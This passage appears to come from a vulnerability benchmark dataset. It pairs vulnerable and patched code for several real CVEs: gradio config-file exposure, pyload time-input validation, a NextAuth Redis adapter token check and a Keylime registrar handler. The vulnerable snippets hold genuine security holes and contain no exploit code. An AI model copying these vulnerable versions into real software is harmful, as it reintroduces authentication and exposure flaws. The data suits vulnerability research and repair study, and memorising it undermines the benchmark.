print(f\"\\u5982\\u679c\\u6d4f\\u89c8\\u5668\\u6ca1\\u6709\\u81ea\\u52a8\\u6253\\u5f00\\uff0c\\u8bf7\\u590d\\u5236\\u5e76\\u8f6c\\u5230\\u4ee5\\u4e0bURL\\uff1a\")\n        print(f\"\\t\\uff08\\u4eae\\u8272\\u4e3b\\u9898\\uff09: http://localhost:{PORT}\")\n        print(f\"\\t\\uff08\\u6697\\u8272\\u4e3b\\u9898\\uff09: http://localhost:{PORT}/?__theme=dark\")\n        def open():\n            time.sleep(2)       # \\u6253\\u5f00\\u6d4f\\u89c8\\u5668\n            DARK_MODE, = get_conf('DARK_MODE')\n            if DARK_MODE: webbrowser.open_new_tab(f\"http://localhost:{PORT}/?__theme=dark\")\n            else: webbrowser.open_new_tab(f\"http://localhost:{PORT}\")\n        threading.Thread(target=open, name=\"open-browser\", daemon=True).start()\n        threading.Thread(target=auto_update, name=\"self-upgrade\", daemon=True).start()\n        threading.Thread(target=warm_up_modules, name=\"warm-up\", daemon=True).start()\n\n    auto_opentab_delay()\n    demo.queue(concurrency_count=CONCURRENT_COUNT).launch(server_name=\"0.0.0.0\", server_port=PORT, auth=AUTHENTICATION, favicon_path=\"docs/logo.png\")"}], "fix_func": [{"id": "fix_py_115_1", "commit": "1dcc287", "file_path": "main.py", "start_line": 3, "end_line": 202, "snippet": "def main():\n    import gradio as gr\n    if gr.__version__ not in ['3.28.3','3.32.2']: assert False, \"\\u8bf7\\u7528 pip install -r requirements.txt \\u5b89\\u88c5\\u4f9d\\u8d56\"\n    from request_llm.bridge_all import predict\n    from toolbox import format_io, find_free_port, on_file_uploaded, on_report_generated, get_conf, ArgsGeneralWrapper, DummyWith\n    # \\u5efa\\u8bae\\u60a8\\u590d\\u5236\\u4e00\\u4e2aconfig_private.py\\u653e\\u81ea\\u5df1\\u7684\\u79d8\\u5bc6, \\u5982API\\u548c\\u4ee3\\u7406\\u7f51\\u5740, \\u907f\\u514d\\u4e0d\\u5c0f\\u5fc3\\u4f20github\\u88ab\\u522b\\u4eba\\u770b\\u5230\n    proxies, WEB_PORT, LLM_MODEL, CONCURRENT_COUNT, AUTHENTICATION, CHATBOT_HEIGHT, LAYOUT, API_KEY, AVAIL_LLM_MODELS = \\\n        get_conf('proxies', 'WEB_PORT', 'LLM_MODEL', 'CONCURRENT_COUNT', 'AUTHENTICATION', 'CHATBOT_HEIGHT', 'LAYOUT', 'API_KEY', 'AVAIL_LLM_MODELS')\n\n    # \\u5982\\u679cWEB_PORT\\u662f-1, \\u5219\\u968f\\u673a\\u9009\\u53d6WEB\\u7aef\\u53e3\n    PORT = find_free_port() if WEB_PORT <= 0 else WEB_PORT\n    if not AUTHENTICATION: AUTHENTICATION = None\n\n    from check_proxy import get_current_version\n    initial_prompt = \"Serve me as a writing and programming assistant.\"\n    title_html = f\"<h1 align=\\\"center\\\">ChatGPT \\u5b66\\u672f\\u4f18\\u5316 {get_current_version()}</h1>\"\n    description =  \"\"\"\\u4ee3\\u7801\\u5f00\\u6e90\\u548c\\u66f4\\u65b0[\\u5730\\u5740\\ud83d\\ude80](https://github.com/binary-husky/chatgpt_academic)\\uff0c\\u611f\\u8c22\\u70ed\\u60c5\\u7684[\\u5f00\\u53d1\\u8005\\u4eec\\u2764\\ufe0f](https://github.com/binary-husky/chatgpt_academic/graphs/contributors)\"\"\"\n\n    # \\u95ee\\u8be2\\u8bb0\\u5f55, python \\u7248\\u672c\\u5efa\\u8bae3.9+\\uff08\\u8d8a\\u65b0\\u8d8a\\u597d\\uff09\n    import logging\n    os.makedirs(\"gpt_log\", exist_ok=True)\n    try:logging.basicConfig(filename=\"gpt_log/chat_secrets.log\", level=logging.INFO, encoding=\"utf-8\")\n    except:logging.basicConfig(filename=\"gpt_log/chat_secrets.log\", level=logging.INFO)\n    print(\"\\u6240\\u6709\\u95ee\\u8be2\\u8bb0\\u5f55\\u5c06\\u81ea\\u52a8\\u4fdd\\u5b58\\u5728\\u672c\\u5730\\u76ee\\u5f55./gpt_log/chat_secrets.log, \\u8bf7\\u6ce8\\u610f\\u81ea\\u6211\\u9690\\u79c1\\u4fdd\\u62a4\\u54e6\\uff01\")\n\n    # \\u4e00\\u4e9b\\u666e\\u901a\\u529f\\u80fd\\u6a21\\u5757\n    from core_functional import get_core_functions\n    functional = get_core_functions()\n\n    # \\u9ad8\\u7ea7\\u51fd\\u6570\\u63d2\\u4ef6\n    from crazy_functional import get_crazy_functions\n    crazy_fns = get_crazy_functions()\n\n    # \\u5904\\u7406markdown\\u6587\\u672c\\u683c\\u5f0f\\u7684\\u8f6c\\u53d8\n    gr.Chatbot.postprocess = format_io\n\n    # \\u505a\\u4e00\\u4e9b\\u5916\\u89c2\\u8272\\u5f69\\u4e0a\\u7684\\u8c03\\u6574\n    from theme import adjust_theme, advanced_css\n    set_theme = adjust_theme()\n\n    # \\u4ee3\\u7406\\u4e0e\\u81ea\\u52a8\\u66f4\\u65b0\n    from check_proxy import check_proxy, auto_update, warm_up_modules\n    proxy_info = check_proxy(proxies)\n\n    gr_L1 = lambda: gr.Row().style()\n    gr_L2 = lambda scale: gr.Column(scale=scale)\n    if LAYOUT == \"TOP-DOWN\":\n        gr_L1 = lambda: DummyWith()\n        gr_L2 = lambda scale: gr.Row()\n        CHATBOT_HEIGHT /= 2\n\n    cancel_handles = []\n    with gr.Blocks(title=\"ChatGPT \\u5b66\\u672f\\u4f18\\u5316\", theme=set_theme, analytics_enabled=False, css=advanced_css) as demo:\n        gr.HTML(title_html)\n        cookies = gr.State({'api_key': API_KEY, 'llm_model': LLM_MODEL})\n        with gr_L1():\n            with gr_L2(scale=2):\n                chatbot = gr.Chatbot(label=f\"\\u5f53\\u524d\\u6a21\\u578b\\uff1a{LLM_MODEL}\")\n                chatbot.style(height=CHATBOT_HEIGHT)\n                history = gr.State([])\n            with gr_L2(scale=1):\n                with gr.Accordion(\"\\u8f93\\u5165\\u533a\", open=True) as area_input_primary:\n                    with gr.Row():\n                        txt = gr.Textbox(show_label=False, placeholder=\"Input question here.\").style(container=False)\n                    with gr.Row():\n                        submitBtn = gr.Button(\"\\u63d0\\u4ea4\", variant=\"primary\")\n                    with gr.Row():\n                        resetBtn = gr.Button(\"\\u91cd\\u7f6e\", variant=\"secondary\"); resetBtn.style(size=\"sm\")\n                        stopBtn = gr.Button(\"\\u505c\\u6b62\", variant=\"secondary\"); stopBtn.style(size=\"sm\")\n                        clearBtn = gr.Button(\"\\u6e05\\u9664\", variant=\"secondary\", visible=False); clearBtn.style(size=\"sm\")\n                    with gr.Row():\n                        status = gr.Markdown(f\"Tip: \\u6309Enter\\u63d0\\u4ea4, \\u6309Shift+Enter\\u6362\\u884c\\u3002\\u5f53\\u524d\\u6a21\\u578b: {LLM_MODEL} \\n {proxy_info}\")\n                with gr.Accordion(\"\\u57fa\\u7840\\u529f\\u80fd\\u533a\", open=True) as area_basic_fn:\n                    with gr.Row():\n                        for k in functional:\n                            if (\"Visible\" in functional[k]) and (not functional[k][\"Visible\"]): continue\n                            variant = functional[k][\"Color\"] if \"Color\" in functional[k] else \"secondary\"\n                            functional[k][\"Button\"] = gr.Button(k, variant=variant)\n                with gr.Accordion(\"\\u51fd\\u6570\\u63d2\\u4ef6\\u533a\", open=True) as area_crazy_fn:\n                    with gr.Row():\n                        gr.Markdown(\"\\u6ce8\\u610f\\uff1a\\u4ee5\\u4e0b\\u201c\\u7ea2\\u989c\\u8272\\u201d\\u6807\\u8bc6\\u7684\\u51fd\\u6570\\u63d2\\u4ef6\\u9700\\u4ece\\u8f93\\u5165\\u533a\\u8bfb\\u53d6\\u8def\\u5f84\\u4f5c\\u4e3a\\u53c2\\u6570.\")\n                    with gr.Row():\n                        for k in crazy_fns:\n                            if not crazy_fns[k].get(\"AsButton\", True): continue\n                            variant = crazy_fns[k][\"Color\"] if \"Color\" in crazy_fns[k] else \"secondary\"\n                            crazy_fns[k][\"Button\"] = gr.Button(k, variant=variant)\n                            crazy_fns[k][\"Button\"].style(size=\"sm\")\n                    with gr.Row():\n                        with gr.Accordion(\"\\u66f4\\u591a\\u51fd\\u6570\\u63d2\\u4ef6\", open=True):\n                            dropdown_fn_list = [k for k in crazy_fns.keys() if not crazy_fns[k].get(\"AsButton\", True)]\n                            with gr.Row():\n                                dropdown = gr.Dropdown(dropdown_fn_list, value=r\"\\u6253\\u5f00\\u63d2\\u4ef6\\u5217\\u8868\", label=\"\").style(container=False)\n                            with gr.Row():\n                                plugin_advanced_arg = gr.Textbox(show_label=True, label=\"\\u9ad8\\u7ea7\\u53c2\\u6570\\u8f93\\u5165\\u533a\", visible=False, \n                                                                 placeholder=\"\\u8fd9\\u91cc\\u662f\\u7279\\u6b8a\\u51fd\\u6570\\u63d2\\u4ef6\\u7684\\u9ad8\\u7ea7\\u53c2\\u6570\\u8f93\\u5165\\u533a\").style(container=False)\n                            with gr.Row():\n                                switchy_bt = gr.Button(r\"\\u8bf7\\u5148\\u4ece\\u63d2\\u4ef6\\u5217\\u8868\\u4e2d\\u9009\\u62e9\", variant=\"secondary\")\n                    with gr.Row():\n                        with gr.Accordion(\"\\u70b9\\u51fb\\u5c55\\u5f00\\u201c\\u6587\\u4ef6\\u4e0a\\u4f20\\u533a\\u201d\\u3002\\u4e0a\\u4f20\\u672c\\u5730\\u6587\\u4ef6\\u53ef\\u4f9b\\u7ea2\\u8272\\u51fd\\u6570\\u63d2\\u4ef6\\u8c03\\u7528\\u3002\", open=False) as area_file_up:\n                            file_upload = gr.Files(label=\"\\u4efb\\u4f55\\u6587\\u4ef6, \\u4f46\\u63a8\\u8350\\u4e0a\\u4f20\\u538b\\u7f29\\u6587\\u4ef6(zip, tar)\", file_count=\"multiple\")\n                with gr.Accordion(\"\\u66f4\\u6362\\u6a21\\u578b & SysPrompt & \\u4ea4\\u4e92\\u754c\\u9762\\u5e03\\u5c40\", open=(LAYOUT == \"TOP-DOWN\")):\n                    system_prompt = gr.Textbox(show_label=True, placeholder=f\"System Prompt\", label=\"System prompt\", value=initial_prompt)\n                    top_p = gr.Slider(minimum=-0, maximum=1.0, value=1.0, step=0.01,interactive=True, label=\"Top-p (nucleus sampling)\",)\n                    temperature = gr.Slider(minimum=-0, maximum=2.0, value=1.0, step=0.01, interactive=True, label=\"Temperature\",)\n                    max_length_sl = gr.Slider(minimum=256, maximum=4096, value=512, step=1, interactive=True, label=\"Local LLM MaxLength\",)\n                    checkboxes = gr.CheckboxGroup([\"\\u57fa\\u7840\\u529f\\u80fd\\u533a\", \"\\u51fd\\u6570\\u63d2\\u4ef6\\u533a\", \"\\u5e95\\u90e8\\u8f93\\u5165\\u533a\", \"\\u8f93\\u5165\\u6e05\\u9664\\u952e\", \"\\u63d2\\u4ef6\\u53c2\\u6570\\u533a\"], value=[\"\\u57fa\\u7840\\u529f\\u80fd\\u533a\", \"\\u51fd\\u6570\\u63d2\\u4ef6\\u533a\"], label=\"\\u663e\\u793a/\\u9690\\u85cf\\u529f\\u80fd\\u533a\")\n                    md_dropdown = gr.Dropdown(AVAIL_LLM_MODELS, value=LLM_MODEL, label=\"\\u66f4\\u6362LLM\\u6a21\\u578b/\\u8bf7\\u6c42\\u6e90\").style(container=False)\n\n                    gr.Markdown(description)\n                with gr.Accordion(\"\\u5907\\u9009\\u8f93\\u5165\\u533a\", open=True, visible=False) as area_input_secondary:\n                    with gr.Row():\n                        txt2 = gr.Textbox(show_label=False, placeholder=\"Input question here.\", label=\"\\u8f93\\u5165\\u533a2\").style(container=False)\n                    with gr.Row():\n                        submitBtn2 = gr.Button(\"\\u63d0\\u4ea4\", variant=\"primary\")\n                    with gr.Row():\n                        resetBtn2 = gr.Button(\"\\u91cd\\u7f6e\", variant=\"secondary\"); resetBtn2.style(size=\"sm\")\n                        stopBtn2 = gr.Button(\"\\u505c\\u6b62\", variant=\"secondary\"); stopBtn2.style(size=\"sm\")\n                        clearBtn2 = gr.Button(\"\\u6e05\\u9664\", variant=\"secondary\", visible=False); clearBtn2.style(size=\"sm\")\n        # \\u529f\\u80fd\\u533a\\u663e\\u793a\\u5f00\\u5173\\u4e0e\\u529f\\u80fd\\u533a\\u7684\\u4e92\\u52a8\n        def fn_area_visibility(a):\n            ret = {}\n            ret.update({area_basic_fn: gr.update(visible=(\"\\u57fa\\u7840\\u529f\\u80fd\\u533a\" in a))})\n            ret.update({area_crazy_fn: gr.update(visible=(\"\\u51fd\\u6570\\u63d2\\u4ef6\\u533a\" in a))})\n            ret.update({area_input_primary: gr.update(visible=(\"\\u5e95\\u90e8\\u8f93\\u5165\\u533a\" not in a))})\n            ret.update({area_input_secondary: gr.update(visible=(\"\\u5e95\\u90e8\\u8f93\\u5165\\u533a\" in a))})\n            ret.update({clearBtn: gr.update(visible=(\"\\u8f93\\u5165\\u6e05\\u9664\\u952e\" in a))})\n            ret.update({clearBtn2: gr.update(visible=(\"\\u8f93\\u5165\\u6e05\\u9664\\u952e\" in a))})\n            ret.update({plugin_advanced_arg: gr.update(visible=(\"\\u63d2\\u4ef6\\u53c2\\u6570\\u533a\" in a))})\n            if \"\\u5e95\\u90e8\\u8f93\\u5165\\u533a\" in a: ret.update({txt: gr.update(value=\"\")})\n            return ret\n        checkboxes.select(fn_area_visibility, [checkboxes], [area_basic_fn, area_crazy_fn, area_input_primary, area_input_secondary, txt, txt2, clearBtn, clearBtn2, plugin_advanced_arg] )\n        # \\u6574\\u7406\\u53cd\\u590d\\u51fa\\u73b0\\u7684\\u63a7\\u4ef6\\u53e5\\u67c4\\u7ec4\\u5408\n        input_combo = [cookies, max_length_sl, md_dropdown, txt, txt2, top_p, temperature, chatbot, history, system_prompt, plugin_advanced_arg]\n        output_combo = [cookies, chatbot, history, status]\n        predict_args = dict(fn=ArgsGeneralWrapper(predict), inputs=input_combo, outputs=output_combo)\n        # \\u63d0\\u4ea4\\u6309\\u94ae\\u3001\\u91cd\\u7f6e\\u6309\\u94ae\n        cancel_handles.append(txt.submit(**predict_args))\n        cancel_handles.append(txt2.submit(**predict_args))\n        cancel_handles.append(submitBtn.click(**predict_args))\n        cancel_handles.append(submitBtn2.click(**predict_args))\n        resetBtn.click(lambda: ([], [], \"\\u5df2\\u91cd\\u7f6e\"), None, [chatbot, history, status])\n        resetBtn2.click(lambda: ([], [], \"\\u5df2\\u91cd\\u7f6e\"), None, [chatbot, history, status])\n        clearBtn.click(lambda: (\"\",\"\"), None, [txt, txt2])\n        clearBtn2.click(lambda: (\"\",\"\"), None, [txt, txt2])\n        # \\u57fa\\u7840\\u529f\\u80fd\\u533a\\u7684\\u56de\\u8c03\\u51fd\\u6570\\u6ce8\\u518c\n        for k in functional:\n            if (\"Visible\" in functional[k]) and (not functional[k][\"Visible\"]): continue\n            click_handle = functional[k][\"Button\"].click(fn=ArgsGeneralWrapper(predict), inputs=[*input_combo, gr.State(True), gr.State(k)], outputs=output_combo)\n            cancel_handles.append(click_handle)\n        # \\u6587\\u4ef6\\u4e0a\\u4f20\\u533a\\uff0c\\u63a5\\u6536\\u6587\\u4ef6\\u540e\\u4e0echatbot\\u7684\\u4e92\\u52a8\n        file_upload.upload(on_file_uploaded, [file_upload, chatbot, txt, txt2, checkboxes], [chatbot, txt, txt2])\n        # \\u51fd\\u6570\\u63d2\\u4ef6-\\u56fa\\u5b9a\\u6309\\u94ae\\u533a\n        for k in crazy_fns:\n            if not crazy_fns[k].get(\"AsButton\", True): continue\n            click_handle = crazy_fns[k][\"Button\"].click(ArgsGeneralWrapper(crazy_fns[k][\"Function\"]), [*input_combo, gr.State(PORT)], output_combo)\n            click_handle.then(on_report_generated, [file_upload, chatbot], [file_upload, chatbot])\n            cancel_handles.append(click_handle)\n        # \\u51fd\\u6570\\u63d2\\u4ef6-\\u4e0b\\u62c9\\u83dc\\u5355\\u4e0e\\u968f\\u53d8\\u6309\\u94ae\\u7684\\u4e92\\u52a8\n        def on_dropdown_changed(k):\n            variant = crazy_fns[k][\"Color\"] if \"Color\" in crazy_fns[k] else \"secondary\"\n            ret = {switchy_bt: gr.update(value=k, variant=variant)}\n            if crazy_fns[k].get(\"AdvancedArgs\", False): # \\u662f\\u5426\\u5524\\u8d77\\u9ad8\\u7ea7\\u63d2\\u4ef6\\u53c2\\u6570\\u533a\n                ret.update({plugin_advanced_arg: gr.update(visible=True,  label=f\"\\u63d2\\u4ef6[{k}]\\u7684\\u9ad8\\u7ea7\\u53c2\\u6570\\u8bf4\\u660e\\uff1a\" + crazy_fns[k].get(\"ArgsReminder\", [f\"\\u6ca1\\u6709\\u63d0\\u4f9b\\u9ad8\\u7ea7\\u53c2\\u6570\\u529f\\u80fd\\u8bf4\\u660e\"]))})\n            else:\n                ret.update({plugin_advanced_arg: gr.update(visible=False, label=f\"\\u63d2\\u4ef6[{k}]\\u4e0d\\u9700\\u8981\\u9ad8\\u7ea7\\u53c2\\u6570\\u3002\")})\n            return ret\n        dropdown.select(on_dropdown_changed, [dropdown], [switchy_bt, plugin_advanced_arg] )\n        def on_md_dropdown_changed(k):\n            return {chatbot: gr.update(label=\"\\u5f53\\u524d\\u6a21\\u578b\\uff1a\"+k)}\n        md_dropdown.select(on_md_dropdown_changed, [md_dropdown], [chatbot] )\n        # \\u968f\\u53d8\\u6309\\u94ae\\u7684\\u56de\\u8c03\\u51fd\\u6570\\u6ce8\\u518c\n        def route(k, *args, **kwargs):\n            if k in [r\"\\u6253\\u5f00\\u63d2\\u4ef6\\u5217\\u8868\", r\"\\u8bf7\\u5148\\u4ece\\u63d2\\u4ef6\\u5217\\u8868\\u4e2d\\u9009\\u62e9\"]: return\n            yield from ArgsGeneralWrapper(crazy_fns[k][\"Function\"])(*args, **kwargs)\n        click_handle = switchy_bt.click(route,[switchy_bt, *input_combo, gr.State(PORT)], output_combo)\n        click_handle.then(on_report_generated, [file_upload, chatbot], [file_upload, chatbot])\n        cancel_handles.append(click_handle)\n        # \\u7ec8\\u6b62\\u6309\\u94ae\\u7684\\u56de\\u8c03\\u51fd\\u6570\\u6ce8\\u518c\n        stopBtn.click(fn=None, inputs=None, outputs=None, cancels=cancel_handles)\n        stopBtn2.click(fn=None, inputs=None, outputs=None, cancels=cancel_handles)\n\n    # gradio\\u7684inbrowser\\u89e6\\u53d1\\u4e0d\\u592a\\u7a33\\u5b9a\\uff0c\\u56de\\u6eda\\u4ee3\\u7801\\u5230\\u539f\\u59cb\\u7684\\u6d4f\\u89c8\\u5668\\u6253\\u5f00\\u51fd\\u6570\n    def auto_opentab_delay():\n        import threading, webbrowser, time\n        print(f\"\\u5982\\u679c\\u6d4f\\u89c8\\u5668\\u6ca1\\u6709\\u81ea\\u52a8\\u6253\\u5f00\\uff0c\\u8bf7\\u590d\\u5236\\u5e76\\u8f6c\\u5230\\u4ee5\\u4e0bURL\\uff1a\")\n        print(f\"\\t\\uff08\\u4eae\\u8272\\u4e3b\\u9898\\uff09: http://localhost:{PORT}\")\n        print(f\"\\t\\uff08\\u6697\\u8272\\u4e3b\\u9898\\uff09: http://localhost:{PORT}/?__theme=dark\")\n        def open():\n            time.sleep(2)       # \\u6253\\u5f00\\u6d4f\\u89c8\\u5668\n            DARK_MODE, = get_conf('DARK_MODE')\n            if DARK_MODE: webbrowser.open_new_tab(f\"http://localhost:{PORT}/?__theme=dark\")\n            else: webbrowser.open_new_tab(f\"http://localhost:{PORT}\")\n        threading.Thread(target=open, name=\"open-browser\", daemon=True).start()\n        threading.Thread(target=auto_update, name=\"self-upgrade\", daemon=True).start()\n        threading.Thread(target=warm_up_modules, name=\"warm-up\", daemon=True).start()\n\n    auto_opentab_delay()\n    demo.queue(concurrency_count=CONCURRENT_COUNT).launch(\n        server_name=\"0.0.0.0\", server_port=PORT, auth=AUTHENTICATION,\n        favicon_path=\"docs/logo.png\", blocked_paths=[\"config.py\",\"config_private.py\",\"docker-compose.yml\",\"Dockerfile\"])"}], "vul_patch": "--- a/main.py\n+++ b/main.py\n@@ -195,4 +195,6 @@\n         threading.Thread(target=warm_up_modules, name=\"warm-up\", daemon=True).start()\n \n     auto_opentab_delay()\n-    demo.queue(concurrency_count=CONCURRENT_COUNT).launch(server_name=\"0.0.0.0\", server_port=PORT, auth=AUTHENTICATION, favicon_path=\"docs/logo.png\")\n+    demo.queue(concurrency_count=CONCURRENT_COUNT).launch(\n+        server_name=\"0.0.0.0\", server_port=PORT, auth=AUTHENTICATION,\n+        favicon_path=\"docs/logo.png\", blocked_paths=[\"config.py\",\"config_private.py\",\"docker-compose.yml\",\"Dockerfile\"])\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-0434", "cve_description": "Improper Input Validation in GitHub repository pyload/pyload prior to 0.5.0b3.dev40.", "cwe_info": {"CWE-20": {"name": "Improper Input Validation", "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."}}, "repo": "https://github.com/pyload/pyload", "patch_url": ["https://github.com/pyload/pyload/commit/a2b1eb1028f45ac58dea5f58593c1d3db2b4a104"], "programing_language": "Python", "vul_func": [{"id": "vul_py_245_1", "commit": "c602df5", "file_path": "src/pyload/core/config/parser.py", "start_line": 261, "end_line": 293, "snippet": "    def cast(self, typ, value):\n        \"\"\"\n        cast value to given format.\n        \"\"\"\n        if typ == \"int\":\n            return int(value)\n\n        elif typ == \"float\":\n            return float(value)\n\n        elif typ == \"str\":\n            return \"\" if value is None else str(value)\n\n        elif typ == \"bytes\":\n            return b\"\" if value is None else bytes(value)\n\n        elif typ == \"bool\":\n            value = \"\" if value is None else str(value)\n            return value.lower() in (\"1\", \"true\", \"on\", \"yes\", \"y\")\n\n        elif typ == \"time\":\n            value = \"\" if value is None else str(value)\n            if not value:\n                value = \"0:00\"\n            if \":\" not in value:\n                value += \":00\"\n            return value\n\n        elif typ in (\"file\", \"folder\"):\n            return \"\" if value in (None, \"\") else os.path.realpath(os.path.expanduser(os.fsdecode(value)))\n\n        else:\n            return value"}], "fix_func": [{"id": "fix_py_245_1", "commit": "a2b1eb1", "file_path": "src/pyload/core/config/parser.py", "start_line": 261, "end_line": 310, "snippet": "    def cast(self, typ, value):\n        \"\"\"\n        cast value to given format.\n        \"\"\"\n        if typ == \"int\":\n            return int(value)\n\n        elif typ == \"float\":\n            return float(value)\n\n        elif typ == \"str\":\n            return \"\" if value is None else str(value)\n\n        elif typ == \"bytes\":\n            return b\"\" if value is None else bytes(value)\n\n        elif typ == \"bool\":\n            value = \"\" if value is None else str(value)\n            return value.lower() in (\"1\", \"true\", \"on\", \"yes\", \"y\")\n\n        elif typ == \"time\":\n            default_value = \"0:00\"\n            value = \"\" if value is None else str(value)\n            if not value:\n                value = default_value\n            elif \":\" not in value:\n                value += \":00\"\n\n            hours, seconds = value.split(\":\", 1)\n            if (\n                hours.isnumeric()\n                and seconds.isnumeric()\n                and 0 <= int(hours) <= 23\n                and 0 <= int(seconds) <= 59\n            ):\n                pass\n            else:\n                value = default_value\n\n            return value\n\n        elif typ in (\"file\", \"folder\"):\n            return (\n                \"\"\n                if value in (None, \"\")\n                else os.path.realpath(os.path.expanduser(os.fsdecode(value)))\n            )\n\n        else:\n            return value"}], "vul_patch": "--- a/src/pyload/core/config/parser.py\n+++ b/src/pyload/core/config/parser.py\n@@ -19,15 +19,32 @@\n             return value.lower() in (\"1\", \"true\", \"on\", \"yes\", \"y\")\n \n         elif typ == \"time\":\n+            default_value = \"0:00\"\n             value = \"\" if value is None else str(value)\n             if not value:\n-                value = \"0:00\"\n-            if \":\" not in value:\n+                value = default_value\n+            elif \":\" not in value:\n                 value += \":00\"\n+\n+            hours, seconds = value.split(\":\", 1)\n+            if (\n+                hours.isnumeric()\n+                and seconds.isnumeric()\n+                and 0 <= int(hours) <= 23\n+                and 0 <= int(seconds) <= 59\n+            ):\n+                pass\n+            else:\n+                value = default_value\n+\n             return value\n \n         elif typ in (\"file\", \"folder\"):\n-            return \"\" if value in (None, \"\") else os.path.realpath(os.path.expanduser(os.fsdecode(value)))\n+            return (\n+                \"\"\n+                if value in (None, \"\")\n+                else os.path.realpath(os.path.expanduser(os.fsdecode(value)))\n+            )\n \n         else:\n             return value\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-39263", "cve_description": "`@next-auth/upstash-redis-adapter` is the Upstash Redis adapter for NextAuth.js, which provides authentication for Next.js. Applications that use `next-auth` Email Provider and `@next-auth/upstash-redis-adapter` before v3.0.2 are affected by this vulnerability. The Upstash Redis adapter implementation did not check for both the identifier (email) and the token, but only checking for the identifier when verifying the token in the email callback flow. An attacker who knows about the victim's email could easily sign in as the victim, given the attacker also knows about the verification token's expired duration. The vulnerability is patched in v3.0.2. A workaround is available. Using Advanced Initialization, developers can check the requests and compare the query's token and identifier before proceeding.", "cwe_info": {"CWE-287": {"name": "Improper Authentication", "description": "When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct."}}, "repo": "https://github.com/nextauthjs/next-auth", "patch_url": ["https://github.com/nextauthjs/next-auth/commit/d16e04848ee703cf797724194d4ad2907fe125a9"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_162_1", "commit": "ff3a528", "file_path": "packages/adapter-upstash-redis/src/index.ts", "start_line": 166, "end_line": 172, "snippet": "    async createVerificationToken(verificationToken) {\n      await setObjectAsJson(\n        verificationTokenKeyPrefix + verificationToken.identifier,\n        verificationToken\n      )\n      return verificationToken\n    },"}, {"id": "vul_js_162_2", "commit": "ff3a528", "file_path": "packages/adapter-upstash-redis/src/index.ts", "start_line": 173, "end_line": 182, "snippet": "    async useVerificationToken(verificationToken) {\n      const tokenKey = verificationTokenKeyPrefix + verificationToken.identifier\n\n      const token = await client.get<VerificationToken>(tokenKey)\n      if (!token) return null\n\n      await client.del(tokenKey)\n      return hydrateDates(token)\n      // return reviveFromJson(token)\n    },"}], "fix_func": [{"id": "fix_js_162_1", "commit": "d16e048", "file_path": "packages/adapter-upstash-redis/src/index.ts", "start_line": 166, "end_line": 175, "snippet": "    async createVerificationToken(verificationToken) {\n      await setObjectAsJson(\n        verificationTokenKeyPrefix +\n          verificationToken.identifier +\n          \":\" +\n          verificationToken.token,\n        verificationToken\n      )\n      return verificationToken\n    },"}, {"id": "fix_js_162_2", "commit": "d16e048", "file_path": "packages/adapter-upstash-redis/src/index.ts", "start_line": 176, "end_line": 189, "snippet": "    async useVerificationToken(verificationToken) {\n      const tokenKey =\n        verificationTokenKeyPrefix +\n        verificationToken.identifier +\n        \":\" +\n        verificationToken.token\n\n      const token = await client.get<VerificationToken>(tokenKey)\n      if (!token) return null\n\n      await client.del(tokenKey)\n      return hydrateDates(token)\n      // return reviveFromJson(token)\n    },"}], "vul_patch": "--- a/packages/adapter-upstash-redis/src/index.ts\n+++ b/packages/adapter-upstash-redis/src/index.ts\n@@ -1,6 +1,9 @@\n     async createVerificationToken(verificationToken) {\n       await setObjectAsJson(\n-        verificationTokenKeyPrefix + verificationToken.identifier,\n+        verificationTokenKeyPrefix +\n+          verificationToken.identifier +\n+          \":\" +\n+          verificationToken.token,\n         verificationToken\n       )\n       return verificationToken\n\n--- a/packages/adapter-upstash-redis/src/index.ts\n+++ b/packages/adapter-upstash-redis/src/index.ts\n@@ -1,5 +1,9 @@\n     async useVerificationToken(verificationToken) {\n-      const tokenKey = verificationTokenKeyPrefix + verificationToken.identifier\n+      const tokenKey =\n+        verificationTokenKeyPrefix +\n+        verificationToken.identifier +\n+        \":\" +\n+        verificationToken.token\n \n       const token = await client.get<VerificationToken>(tokenKey)\n       if (!token) return null\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-38201", "cve_description": "A flaw was found in the Keylime registrar that could allow a bypass of the challenge-response protocol during agent registration. This issue may allow an attacker to impersonate an agent and hide the true status of a monitored machine if the fake agent is added to the verifier list by a legitimate user, resulting in a breach of the integrity of the registrar database.", "cwe_info": {"CWE-862": {"name": "Missing Authorization", "description": "The product does not perform an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-639": {"name": "Authorization Bypass Through User-Controlled Key", "description": "The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data."}}, "repo": "https://github.com/keylime/keylime", "patch_url": ["https://github.com/keylime/keylime/commit/9e5ac9f25cd400b16d5969f531cee28290543f2a"], "programing_language": "Python", "vul_func": [{"id": "vul_py_226_1", "commit": "d21f3b4", "file_path": "keylime/registrar_common.py", "start_line": 406, "end_line": 458, "snippet": "    def do_PUT(self) -> None:\n        \"\"\"This method handles the PUT requests to add agents to the Registrar Server.\n\n        Currently, only agents resources are available for PUTing, i.e. /agents. All other PUT uri's\n        will return errors.\n        \"\"\"\n        session = SessionManager().make_session(engine)\n\n        _, agent_id = self._validate_input(\"PUT\", True)\n        if not agent_id:\n            return\n\n        try:\n            content_length = int(self.headers.get(\"Content-Length\", 0))\n            if content_length == 0:\n                web_util.echo_json_response(self, 400, \"Expected non zero content length\")\n                logger.warning(\"PUT for %s returning 400 response. Expected non zero content length.\", agent_id)\n                return\n\n            post_body = self.rfile.read(content_length)\n            json_body = json.loads(post_body)\n\n            auth_tag = json_body[\"auth_tag\"]\n            try:\n                agent = session.query(RegistrarMain).filter_by(agent_id=agent_id).first()\n            except NoResultFound as e:\n                raise Exception(\"attempting to activate agent before requesting \" f\"registrar for {agent_id}\") from e\n            except SQLAlchemyError as e:\n                logger.error(\"SQLAlchemy Error: %s\", e)\n                raise\n\n            assert agent\n            assert isinstance(agent.key, str)\n            ex_mac = crypto.do_hmac(agent.key.encode(), agent_id)\n            if ex_mac == auth_tag:\n                try:\n                    session.query(RegistrarMain).filter(RegistrarMain.agent_id == agent_id).update(\n                        {\"active\": int(True)}\n                    )\n                    session.commit()\n                except SQLAlchemyError as e:\n                    logger.error(\"SQLAlchemy Error: 